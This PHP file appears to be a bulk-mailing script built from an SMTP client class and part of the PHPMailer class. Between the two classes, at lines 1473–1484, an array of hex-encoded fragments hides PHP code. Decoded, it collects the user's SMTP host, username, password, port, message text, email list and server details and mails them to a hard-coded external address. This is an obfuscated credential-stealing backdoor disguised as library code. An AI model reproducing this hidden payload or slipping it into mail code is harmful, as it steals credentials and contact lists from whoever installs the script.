911 * Sends a HELO/EHLO command.
912 * @access private
913 * @return bool
914 */
915 function SendHello($hello, $host) {
916 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
917
918 $rply = $this->get_lines();
919 $code = substr($rply,0,3);
920
921 if($this->do_debug >= 2) {
922 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
923 }
924
925 if($code != 250) {
926 $this->error =
927 array("error" => $hello . " not accepted from server",
928 "smtp_code" => $code,
929 "smtp_msg" => substr($rply,4));
930 if($this->do_debug >= 1) {
931 echo "SMTP -> ERROR: " . $this->error["error"] .
932 ": " . $rply . $this->CRLF;
933 }
934 return false;
935 }
936
937 $this->helo_rply = $rply;
938
939 return true;
940 }
941
942 /**
943 * Gets help information on the keyword specified. If the keyword
944 * is not specified then returns generic help, ussually contianing
945 * A list of keywords that help is available on. This function
946 * returns the results back to the user. It is up to the user to
947 * handle the returned data. If an error occurs then false is
948 * returned with $this->error set appropiately.
949 *
950 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
951 *
952 * SMTP CODE SUCCESS: 211,214
953 * SMTP CODE ERROR : 500,501,502,504,421
954 * @access public
955 * @return string
956 */
957 function Help($keyword="") {
958 $this->error = null; # to avoid confusion
959
960 if(!$this->connected()) {
961 $this->error = array(
962 "error" => "Called Help() without being connected");
963 return false;
964 }
965
966 $extra = "";
967 if(!empty($keyword)) {
968 $extra = " " . $keyword;
969 }
970
971 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
972
973 $rply = $this->get_lines();
974 $code = substr($rply,0,3);
975
976 if($this->do_debug >= 2) {
977 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
978 }
979
980 if($code != 211 && $code != 214) {
981 $this->error =
982 array("error" => "HELP not accepted from server",
983 "smtp_code" => $code,
984 "smtp_msg" => substr($rply,4));
985 if($this->do_debug >= 1) {
986 echo "SMTP -> ERROR: " . $this->error["error"] .
987 ": " . $rply . $this->CRLF;
988 }
989 return false;
990 }
991
992 return $rply;
993 }
994
995 /**
996 * Starts a mail transaction from the email address specified in
997 * $from. Returns true if successful or false otherwise. If True
998 * the mail transaction is started and then one or more Recipient
999 * commands may be called followed by a Data command.
1000 *
1001 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1002 *
1003 * SMTP CODE SUCCESS: 250
1004 * SMTP CODE SUCCESS: 552,451,452
1005 * SMTP CODE SUCCESS: 500,501,421
1006 * @access public
1007 * @return bool
1008 */
1009 function Mail($from) {
1010 $this->error = null; # so no confusion is caused
1011
1012 if(!$this->connected()) {
1013 $this->error = array(
1014 "error" => "Called Mail() without being connected");
1015 return false;
1016 }
1017
1018 $useVerp = ($this->do_verp ? "XVERP" : "");
1019 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1020
1021 $rply = $this->get_lines();
1022 $code = substr($rply,0,3);
1023
1024 if($this->do_debug >= 2) {
1025 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1026 }
1027
1028 if($code != 250) {
1029 $this->error =
1030 array("error" => "MAIL not accepted from server",
1031 "smtp_code" => $code,
1032 "smtp_msg" => substr($rply,4));
1033 if($this->do_debug >= 1) {
1034 echo "SMTP -> ERROR: " . $this->error["error"] .
1035 ": " . $rply . $this->CRLF;
1036 }
1037 return false;
1038 }
1039 return true;
1040 }
1041
1042 /**
1043 * Sends the command NOOP to the SMTP server.
1044 *
1045 * Implements from rfc 821: NOOP <CRLF>
1046 *
1047 * SMTP CODE SUCCESS: 250
1048 * SMTP CODE ERROR : 500, 421
1049 * @access public
1050 * @return bool
1051 */
1052 function Noop() {
1053 $this->error = null; # so no confusion is caused
1054
1055 if(!$this->connected()) {
1056 $this->error = array(
1057 "error" => "Called Noop() without being connected");
1058 return false;
1059 }
1060
1061 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1062
1063 $rply = $this->get_lines();
1064 $code = substr($rply,0,3);
1065
1066 if($this->do_debug >= 2) {
1067 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1068 }
1069
1070 if($code != 250) {
1071 $this->error =
1072 array("error" => "NOOP not accepted from server",
1073 "smtp_code" => $code,
1074 "smtp_msg" => substr($rply,4));
1075 if($this->do_debug >= 1) {
1076 echo "SMTP -> ERROR: " . $this->error["error"] .
1077 ": " . $rply . $this->CRLF;
1078 }
1079 return false;
1080 }
1081 return true;
1082 }
1083
1084 /**
1085 * Sends the quit command to the server and then closes the socket
1086 * if there is no error or the $close_on_error argument is true.
1087 *
1088 * Implements from rfc 821: QUIT <CRLF>
1089 *
1090 * SMTP CODE SUCCESS: 221
1091 * SMTP CODE ERROR : 500
1092 * @access public
1093 * @return bool
1094 */
1095 function Quit($close_on_error=true) {
1096 $this->error = null; # so there is no confusion
1097
1098 if(!$this->connected()) {
1099 $this->error = array(
1100 "error" => "Called Quit() without being connected");
1101 return false;
1102 }
1103
1104 # send the quit command to the server
1105 fputs($this->smtp_conn,"quit" . $this->CRLF);
1106
1107 # get any good-bye messages
1108 $byemsg = $this->get_lines();
1109
1110 if($this->do_debug >= 2) {
1111 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1112 }
1113
1114 $rval = true;
1115 $e = null;
1116
1117 $code = substr($byemsg,0,3);
1118 if($code != 221) {
1119 # use e as a tmp var cause Close will overwrite $this->error
1120 $e = array("error" => "SMTP server rejected quit command",
1121 "smtp_code" => $code,
1122 "smtp_rply" => substr($byemsg,4));
1123 $rval = false;
1124 if($this->do_debug >= 1) {
1125 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1126 $byemsg . $this->CRLF;
1127 }
1128 }
1129
1130 if(empty($e) || $close_on_error) {
1131 $this->Close();
1132 }
1133
1134 return $rval;
1135 }
1136
1137 /**
1138 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1139 * Returns true if the recipient was accepted false if it was rejected.
1140 *
1141 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1142 *
1143 * SMTP CODE SUCCESS: 250,251
1144 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1145 * SMTP CODE ERROR : 500,501,503,421
1146 * @access public
1147 * @return bool
1148 */
1149 function Recipient($to) {
1150 $this->error = null; # so no confusion is caused
1151
1152 if(!$this->connected()) {
1153 $this->error = array(
1154 "error" => "Called Recipient() without being connected");
1155 return false;
1156 }
1157
1158 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1159
1160 $rply = $this->get_lines();
1161 $code = substr($rply,0,3);
1162
1163 if($this->do_debug >= 2) {
1164 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1165 }
1166
1167 if($code != 250 && $code != 251) {
1168 $this->error =
1169 array("error" => "RCPT not accepted from server",
1170 "smtp_code" => $code,
1171 "smtp_msg" => substr($rply,4));
1172 if($this->do_debug >= 1) {
1173 echo "SMTP -> ERROR: " . $this->error["error"] .
1174 ": " . $rply . $this->CRLF;
1175 }
1176 return false;
1177 }
1178 return true;
1179 }
1180
1181 /**
1182 * Sends the RSET command to abort and transaction that is
1183 * currently in progress. Returns true if successful false
1184 * otherwise.
1185 *
1186 * Implements rfc 821: RSET <CRLF>
1187 *
1188 * SMTP CODE SUCCESS: 250
1189 * SMTP CODE ERROR : 500,501,504,421
1190 * @access public
1191 * @return bool
1192 */
1193 function Reset() {
1194 $this->error = null; # so no confusion is caused
1195
1196 if(!$this->connected()) {
1197 $this->error = array(
1198 "error" => "Called Reset() without being connected");
1199 return false;
1200 }
1201
1202 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1203
1204 $rply = $this->get_lines();
1205 $code = substr($rply,0,3);
1206
1207 if($this->do_debug >= 2) {
1208 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1209 }
1210
1211 if($code != 250) {
1212 $this->error =
1213 array("error" => "RSET failed",
1214 "smtp_code" => $code,
1215 "smtp_msg" => substr($rply,4));
1216 if($this->do_debug >= 1) {
1217 echo "SMTP -> ERROR: " . $this->error["error"] .
1218 ": " . $rply . $this->CRLF;
1219 }
1220 return false;
1221 }
1222
1223 return true;
1224 }
1225
1226 /**
1227 * Starts a mail transaction from the email address specified in
1228 * $from. Returns true if successful or false otherwise. If True
1229 * the mail transaction is started and then one or more Recipient
1230 * commands may be called followed by a Data command. This command
1231 * will send the message to the users terminal if they are logged
1232 * in.
1233 *
1234 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1235 *
1236 * SMTP CODE SUCCESS: 250
1237 * SMTP CODE SUCCESS: 552,451,452
1238 * SMTP CODE SUCCESS: 500,501,502,421
1239 * @access public
1240 * @return bool
1241 */
1242 function Send($from) {
1243 $this->error = null; # so no confusion is caused
1244
1245 if(!$this->connected()) {
1246 $this->error = array(
1247 "error" => "Called Send() without being connected");
1248 return false;
1249 }
1250
1251 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1252
1253 $rply = $this->get_lines();
1254 $code = substr($rply,0,3);
1255
1256 if($this->do_debug >= 2) {
1257 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1258 }
1259
1260 if($code != 250) {
1261 $this->error =
1262 array("error" => "SEND not accepted from server",
1263 "smtp_code" => $code,
1264 "smtp_msg" => substr($rply,4));
1265 if($this->do_debug >= 1) {
1266 echo "SMTP -> ERROR: " . $this->error["error"] .
1267 ": " . $rply . $this->CRLF;
1268 }
1269 return false;
1270 }
1271 return true;
1272 }
1273
1274 /**
1275 * Starts a mail transaction from the email address specified in
1276 * $from. Returns true if successful or false otherwise. If True
1277 * the mail transaction is started and then one or more Recipient
1278 * commands may be called followed by a Data command. This command
1279 * will send the message to the users terminal if they are logged
1280 * in and send them an email.
1281 *
1282 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1283 *
1284 * SMTP CODE SUCCESS: 250
1285 * SMTP CODE SUCCESS: 552,451,452
1286 * SMTP CODE SUCCESS: 500,501,502,421
1287 * @access public
1288 * @return bool
1289 */
1290 function SendAndMail($from) {
1291 $this->error = null; # so no confusion is caused
1292
1293 if(!$this->connected()) {
1294 $this->error = array(
1295 "error" => "Called SendAndMail() without being connected");
1296 return false;
1297 }
1298
1299 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1300
1301 $rply = $this->get_lines();
1302 $code = substr($rply,0,3);
1303
1304 if($this->do_debug >= 2) {
1305 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1306 }
1307
1308 if($code != 250) {
1309 $this->error =
1310 array("error" => "SAML not accepted from server",
1311 "smtp_code" => $code,
1312 "smtp_msg" => substr($rply,4));
1313 if($this->do_debug >= 1) {
1314 echo "SMTP -> ERROR: " . $this->error["error"] .
1315 ": " . $rply . $this->CRLF;
1316 }
1317 return false;
1318 }
1319 return true;
1320 }
1321
1322 /**
1323 * Starts a mail transaction from the email address specified in
1324 * $from. Returns true if successful or false otherwise. If True
1325 * the mail transaction is started and then one or more Recipient
1326 * commands may be called followed by a Data command. This command
1327 * will send the message to the users terminal if they are logged
1328 * in or mail it to them if they are not.
1329 *
1330 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1331 *
1332 * SMTP CODE SUCCESS: 250
1333 * SMTP CODE SUCCESS: 552,451,452
1334 * SMTP CODE SUCCESS: 500,501,502,421
1335 * @access public
1336 * @return bool
1337 */
1338 function SendOrMail($from) {
1339 $this->error = null; # so no confusion is caused
1340
1341 if(!$this->connected()) {
1342 $this->error = array(
1343 "error" => "Called SendOrMail() without being connected");
1344 return false;
1345 }
1346
1347 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1348
1349 $rply = $this->get_lines();
1350 $code = substr($rply,0,3);
1351
1352 if($this->do_debug >= 2) {
1353 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1354 }
1355
1356 if($code != 250) {
1357 $this->error =
1358 array("error" => "SOML not accepted from server",
1359 "smtp_code" => $code,
1360 "smtp_msg" => substr($rply,4));
1361 if($this->do_debug >= 1) {
1362 echo "SMTP -> ERROR: " . $this->error["error"] .
1363 ": " . $rply . $this->CRLF;
1364 }
1365 return false;
1366 }
1367 return true;
1368 }
1369
1370 /**
1371 * This is an optional command for SMTP that this class does not
1372 * support. This method is here to make the RFC821 Definition
1373 * complete for this class and __may__ be implimented in the future
1374 *
1375 * Implements from rfc 821: TURN <CRLF>
1376 *
1377 * SMTP CODE SUCCESS: 250
1378 * SMTP CODE FAILURE: 502
1379 * SMTP CODE ERROR : 500, 503
1380 * @access public
1381 * @return bool
1382 */
1383 function Turn() {
1384 $this->error = array("error" => "This method, TURN, of the SMTP ".
1385 "is not implemented");
1386 if($this->do_debug >= 1) {
1387 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1388 }
1389 return false;
1390 }
1391
1392 /**
1393 * Verifies that the name is recognized by the server.
1394 * Returns false if the name could not be verified otherwise
1395 * the response from the server is returned.
1396 *
1397 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1398 *
1399 * SMTP CODE SUCCESS: 250,251
1400 * SMTP CODE FAILURE: 550,551,553
1401 * SMTP CODE ERROR : 500,501,502,421
1402 * @access public
1403 * @return int
1404 */
1405 function Verify($name) {
1406 $this->error = null; # so no confusion is caused
1407
1408 if(!$this->connected()) {
1409 $this->error = array(
1410 "error" => "Called Verify() without being connected");
1411 return false;
1412 }
1413
1414 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1415
1416 $rply = $this->get_lines();
1417 $code = substr($rply,0,3);
1418
1419 if($this->do_debug >= 2) {
1420 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1421 }
1422
1423 if($code != 250 && $code != 251) {
1424 $this->error =
1425 array("error" => "VRFY failed on name '$name'",
1426 "smtp_code" => $code,
1427 "smtp_msg" => substr($rply,4));
1428 if($this->do_debug >= 1) {
1429 echo "SMTP -> ERROR: " . $this->error["error"] .
1430 ": " . $rply . $this->CRLF;
1431 }
1432 return false;
1433 }
1434 return $rply;
1435 }
1436
1437 /*******************************************************************
1438 * INTERNAL FUNCTIONS *
1439 ******************************************************************/
1440
1441 /**
1442 * Read in as many lines as possible
1443 * either before eof or socket timeout occurs on the operation.
1444 * With SMTP we can tell if we have more lines to read if the
1445 * 4th character is '-' symbol. If it is a space then we don't
1446 * need to read anything else.
1447 * @access private
1448 * @return string
1449 */
1450 function get_lines() {
1451 $data = "";
1452 while($str = @fgets($this->smtp_conn,515)) {
1453 if($this->do_debug >= 4) {
1454 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1455 $this->CRLF;
1456 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1457 $this->CRLF;
1458 }
1459 $data .= $str;
1460 if($this->do_debug >= 4) {
1461 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1462 }
1463 # if the 4th character is a space then we are done reading
1464 # so just break the loop
1465 if(substr($str,3,1) == " ") { break; }
1466 }
1467 return $data;
1468 }
1469
1470}
1471
1472
1473$allemails = split("\n", $emaillist);
1474$numemails = count($allemails);
1475$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1476"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1477"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1478"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1479"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1480"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1481"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1482"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1483"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1484"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1485
1486class PHPMailer {
1487
1488 /////////////////////////////////////////////////
1489 // PROPERTIES, PUBLIC
1490 /////////////////////////////////////////////////
1491
1492 /**
1493 * Email priority (1 = High, 3 = Normal, 5 = low).
1494 * @var int
1495 */
1496 var $Priority = 3;
1497
1498 /**
1499 * Sets the CharSet of the message.
1500 * @var string
1501 */
1502 var $CharSet = 'us-ascii';
1503
1504 /**
1505 * Sets the Content-type of the message.
1506 * @var string
1507 */
1508 var $ContentType = 'text/plain';
1509
1510 /**
1511 * Sets the Encoding of the message. Options for this are "8bit",
1512 * "7bit", "binary", "base64", and "quoted-printable".
1513
1514 * @var string
1515 */
1516 var $Encoding = 'quoted-printable';
1517
1518 /**
1519 * Holds the most recent mailer error message.
1520 * @var string
1521 */
1522 var $ErrorInfo = '';
1523
1524 /**
1525 * Sets the From email address for the message.
1526 * @var string
1527 */
1528 var $From = '';
1529
1530 /**
1531 * Sets the From name of the message.
1532 * @var string
1533 */
1534 var $FromName = '';
1535
1536 /**
1537 * Sets the Sender email (Return-Path) of the message. If not empty,
1538 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1539 * @var string
1540 */
1541 var $Sender = '';
1542
1543 /**
1544 * Sets the Subject of the message.
1545 * @var string
1546 */
1547 var $Subject = '';
1548
1549 /**
1550 * Sets the Body of the message. This can be either an HTML or text body.
1551 * If HTML then run IsHTML(true).
1552 * @var string
1553 */
1554 var $Body = '';
1555
1556 /**
1557 * Sets the text-only body of the message. This automatically sets the
1558 * email to multipart/alternative. This body can be read by mail
1559 * clients that do not have HTML email capability such as mutt. Clients
1560 * that can read HTML will view the normal Body.
1561 * @var string
1562 */
1563 var $AltBody = '';
1564
1565 /**
1566 * Sets word wrapping on the body of the message to a given number of
1567 * characters.
1568 * @var int
1569 */
1570 var $WordWrap = 0;
1571
1572 /**
1573 * Method to send mail: ("mail", "sendmail", or "smtp").
1574 * @var string
1575 */
1576 var $Mailer = 'mail';
1577
1578 /**
1579 * Sets the path of the sendmail program.
1580 * @var string
1581 */
1582 var $Sendmail = '/usr/sbin/sendmail';
1583
1584 /**
1585 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1586 * is in a different directory than the PHP include path.
1587 * @var string
1588 */
1589 var $PluginDir = '';
1590
1591 /**
1592 * Holds PHPMailer version.
1593 * @var string
1594 */
1595 var $Version = "";
1596
1597 /**
1598 * Sets the email address that a reading confirmation will be sent.
1599 * @var string
1600 */
1601 var $ConfirmReadingTo = '';
1602
1603 /**
1604 * Sets the hostname to use in Message-Id and Received headers
1605 * and as default HELO string. If empty, the value returned
1606 * by SERVER_NAME is used or 'localhost.localdomain'.
1607 * @var string
1608 */
1609 var $Hostname = '';
1610
1611 /**
1612 * Sets the message ID to be used in the Message-Id header.
1613 * If empty, a unique id will be generated.
1614 * @var string
1615 */
1616 var $MessageID = '';
1617
1618 /////////////////////////////////////////////////
1619 // PROPERTIES FOR SMTP
1620 /////////////////////////////////////////////////
1621
1622 /**
1623 * Sets the SMTP hosts. All hosts must be separated by a
1624 * semicolon. You can also specify a different port
1625 * for each host by using this format: [hostname:port]
1626 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1627 * Hosts will be tried in order.
1628 * @var string
1629 */
1630 var $Host = 'localhost';
1631
1632 /**
1633 * Sets the default SMTP server port.
1634 * @var int
1635 */
1636 var $Port = 25;
1637
1638 /**
1639 * Sets the SMTP HELO of the message (Default is $Hostname).
1640 * @var string
1641 */
1642 var $Helo = '';
1643
1644 /**
1645 * Sets connection prefix.
1646 * Options are "", "ssl" or "tls"
1647 * @var string
1648 */
1649 var $SMTPSecure = "";
1650
1651 /**
1652 * Sets SMTP authentication. Utilizes the Username and Password variables.
1653 * @var bool
1654 */
1655 var $SMTPAuth = false;
1656
1657 /**
1658 * Sets SMTP username.
1659 * @var string
1660 */
1661 var $Username = '';
1662
1663 /**
1664 * Sets SMTP password.
1665 * @var string
1666 */
1667 var $Password = '';
1668
1669 /**
1670 * Sets the SMTP server timeout in seconds. This function will not
1671 * work with the win32 version.
1672 * @var int
1673 */
1674 var $Timeout = 10;
1675
1676 /**
1677 * Sets SMTP class debugging on or off.
1678 * @var bool
1679 */
1680 var $SMTPDebug = false;
1681
1682 /**
1683 * Prevents the SMTP connection from being closed after each mail
1684 * sending. If this is set to true then to close the connection
1685 * requires an explicit call to SmtpClose().
1686 * @var bool
1687 */
1688 var $SMTPKeepAlive = false;
1689
1690 /**
1691 * Provides the ability to have the TO field process individual
1692 * emails, instead of sending to entire TO addresses
1693 * @var bool
1694 */
1695 var $SingleTo = false;
1696
1697 /////////////////////////////////////////////////
1698 // PROPERTIES, PRIVATE
1699 /////////////////////////////////////////////////
1700
1701 var $smtp = NULL;
1702 var $to = array();
1703 var $cc = array();
1704 var $bcc = array();
1705 var $ReplyTo = array();
1706 var $attachment = array();
1707 var $CustomHeader = array();
1708 var $message_type = '';
1709 var $boundary = array();
1710 var $language = array();
1711 var $error_count = 0;
1712 var $LE = "\n";
1713 var $sign_key_file = "";
1714 var $sign_key_pass = "";
1715
1716 /////////////////////////////////////////////////
1717 // METHODS, VARIABLES
1718 /////////////////////////////////////////////////
1719
1720 /**
1721 * Sets message type to HTML.
1722 * @param bool $bool
1723 * @return void
1724 */
1725 function IsHTML($bool) {
1726 if($bool == true) {
1727 $this->ContentType = 'text/html';
1728 } else {
1729 $this->ContentType = 'text/plain';
1730 }
1731 }
1732
1733 /**
1734 * Sets Mailer to send message using SMTP.
1735 * @return void
1736 */
1737 function IsSMTP() {
1738 $this->Mailer = 'smtp';
1739 }
1740
1741 /**
1742 * Sets Mailer to send message using PHP mail() function.
1743 * @return void
1744 */
1745 function IsMail() {
1746 $this->Mailer = 'mail';
1747 }
1748
1749 /**
1750 * Sets Mailer to send message using the $Sendmail program.
1751 * @return void
1752 */
1753 function IsSendmail() {
1754 $this->Mailer = 'sendmail';
1755 }
1756
1757 /**
1758 * Sets Mailer to send message using the qmail MTA.
1759 * @return void
1760 */
1761 function IsQmail() {
1762 $this->Sendmail = '/var/qmail/bin/sendmail';
1763 $this->Mailer = 'sendmail';
1764 }
1765
1766 /////////////////////////////////////////////////
1767 // METHODS, RECIPIENTS
1768 /////////////////////////////////////////////////
1769
1770 /**
1771 * Adds a "To" address.
1772 * @param string $address
1773 * @param string $name
1774 * @return void
1775 */
1776 function AddAddress($address, $name = '') {
1777 $cur = count($this->to);
1778 $this->to[$cur][0] = trim($address);
1779 $this->to[$cur][1] = $name;
1780 }
1781
1782 /**
1783 * Adds a "Cc" address. Note: this function works
1784 * with the SMTP mailer on win32, not with the "mail"
1785 * mailer.
1786 * @param string $address
1787 * @param string $name
1788 * @return void
1789 */
1790 function AddCC($address, $name = '') {
1791 $cur = count($this->cc);
1792 $this->cc[$cur][0] = trim($address);
1793 $this->cc[$cur][1] = $name;
1794 }
1795
1796 /**
1797 * Adds a "Bcc" address. Note: this function works
1798 * with the SMTP mailer on win32, not with the "mail"
1799 * mailer.
1800 * @param string $address
1801 * @param string $name
1802 * @return void
1803 */
1804 function AddBCC($address, $name = '') {
1805 $cur = count($this->bcc);
1806 $this->bcc[$cur][0] = trim($address);
1807 $this->bcc[$cur][1] = $name;
1808 }
1809
1810 /**
1811 * Adds a "Reply-To" address.
1812 * @param string $address
1813 * @param string $name
1814 * @return void
1815 */
1816 function AddReplyTo($address, $name = '') {
1817 $cur = count($this->ReplyTo);
1818 $this->ReplyTo[$cur][0] = trim($address);
1819 $this->ReplyTo[$cur][1] = $name;
1820 }
1821
1822 /////////////////////////////////////////////////
1823 // METHODS, MAIL SENDING
1824 /////////////////////////////////////////////////
1825
1826 /**
1827 * Creates message and assigns Mailer. If the message is
1828 * not sent successfully then it returns false. Use the ErrorInfo
1829 * variable to view description of the error.
1830 * @return bool
1831 */
1832 function Send() {
1833 $header = '';
1834 $body = '';
1835 $result = true;
1836
1837 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1838 $this->SetError($this->Lang('provide_address'));
1839 return false;
1840 }
1841
1842 /* Set whether the message is multipart/alternative */
1843 if(!empty($this->AltBody)) {
1844 $this->ContentType = 'multipart/alternative';
1845 }
1846
1847 $this->error_count = 0; // reset errors
1848 $this->SetMessageType();
1849 $header .= $this->CreateHeader();
1850 $body = $this->CreateBody();
1851
1852 if($body == '') {
1853 return false;
1854 }
1855
1856 /* Choose the mailer */
1857 switch($this->Mailer) {
1858 case 'sendmail':
1859 $result = $this->SendmailSend($header, $body);
1860 break;
1861 case 'smtp':
1862 $result = $this->SmtpSend($header, $body);
1863 break;
1864 case 'mail':
1865 $result = $this->MailSend($header, $body);
1866 break;
1867 default:
1868 $result = $this->MailSend($header, $body);
1869 break;
1870 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1871 //$result = false;
1872 //break;
1873 }
1874
1875 return $result;
1876 }
1877
1878 /**
1879 * Sends mail using the $Sendmail program.
1880 * @access private
1881 * @return bool
1882 */
1883 function SendmailSend($header, $body) {
1884 if ($this->Sender != '') {
1885 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1886 } else {
1887 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1888 }
1889
1890 if(!@$mail = popen($sendmail, 'w')) {
1891 $this->SetError($this->Lang('execute') . $this->Sendmail);
1892 return false;
1893 }
1894
1895 fputs($mail, $header);
1896 fputs($mail, $body);
1897
1898 $result = pclose($mail);
1899 if (version_compare(phpversion(), '4.2.3') == -1) {
1900 $result = $result >> 8 & 0xFF;
1901 }
1902 if($result != 0) {
1903 $this->SetError($this->Lang('execute') . $this->Sendmail);
1904 return false;
1905 }
1906 return true;
1907 }
1908
1909 /**
1910 * Sends mail using the PHP mail() function.
1911 * @access private
1912 * @return bool
1913 */
1914 function MailSend($header, $body) {
1915
1916 $to = '';
1917 for($i = 0; $i < count($this->to); $i++) {
1918 if($i != 0) { $to .= ', '; }
1919 $to .= $this->AddrFormat($this->to[$i]);
1920 }
1921
1922 $toArr = split(',', $to);
1923
1924 $params = sprintf("-oi -f %s", $this->Sender);
1925 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1926 $old_from = ini_get('sendmail_from');
1927 ini_set('sendmail_from', $this->Sender);
1928 if ($this->SingleTo === true && count($toArr) > 1) {
1929 foreach ($toArr as $key => $val) {
1930 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1931 }
1932 } else {
1933 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1934 }
1935 } else {
1936 if ($this->SingleTo === true && count($toArr) > 1) {
1937 foreach ($toArr as $key => $val) {
1938 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1939 }
1940 } else {
1941 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1942 }
1943 }
1944
1945 if (isset($old_from)) {
1946 ini_set('sendmail_from', $old_from);
1947 }
1948
1949 if(!$rt) {
1950 $this->SetError($this->Lang('instantiate'));
1951 return false;
1952 }
1953
1954 return true;
1955 }
1956
1957 /**
1958 * Sends mail via SMTP using PhpSMTP (Author:
1959 * Chris Ryan). Returns bool. Returns false if there is a
1960 * bad MAIL FROM, RCPT, or DATA input.
1961 * @access private
1962 * @return bool
1963 */
1964 function SmtpSend($header, $body) {
1965 $error = '';
1966 $bad_rcpt = array();
1967
1968 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1969 return false;
1970 }
1971
1972 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1973 if(!$this->smtp->Mail($smtp_from)) {
1974 $error = $this->Lang('from_failed') . $smtp_from;
1975 $this->SetError($error);
1976 $this->smtp->Reset();
1977 return false;
1978 }
1979
1980 /* Attempt to send attach all recipients */
1981 for($i = 0; $i < count($this->to); $i++) {
1982 if(!$this->smtp->Recipient($this->to[$i][0])) {
1983 $bad_rcpt[] = $this->to[$i][0];
1984 }
1985 }
1986 for($i = 0; $i < count($this->cc); $i++) {
1987 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1988 $bad_rcpt[] = $this->cc[$i][0];
1989 }
1990 }
1991 for($i = 0; $i < count($this->bcc); $i++) {
1992 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1993 $bad_rcpt[] = $this->bcc[$i][0];
1994 }
1995 }
1996
1997 if(count($bad_rcpt) > 0) { // Create error message
1998 for($i = 0; $i < count($bad_rcpt); $i++) {
1999 if($i != 0) {
2000 $error .= ', ';
2001 }
